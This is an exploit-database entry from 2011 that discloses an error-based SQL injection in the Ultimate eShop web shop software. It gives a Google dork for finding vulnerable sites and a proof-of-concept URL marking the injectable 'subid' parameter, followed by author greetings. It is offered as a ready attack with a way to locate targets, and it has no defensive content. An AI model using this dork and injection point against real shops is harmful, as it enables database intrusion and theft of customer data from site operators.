Ultimate eShop - Error-Based SQL Injection



EKU-ID: 23193 CVE: OSVDB-ID:
Author: Romka Published: 2011-04-20 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home 


# Exploit Title: Ultimate eShop Error Based SQL Injection Vulnerability
# Google Dork: inurl:index.cgi?aktion=shopview
# Date: 19/04/2011
# Author: Romka
# Software Link: http://www.ultimate-eshop.de/
# Tested on: Windows XP SP3

# Exploit:

http://localhost/index.cgi?aktion=shopview&go=artikel&topid=1&subid=1'ERROR BASED INJECTION

# Greetings:

CliC, pyro, r0bnet, Haukez, Dexter and Cyberpunkz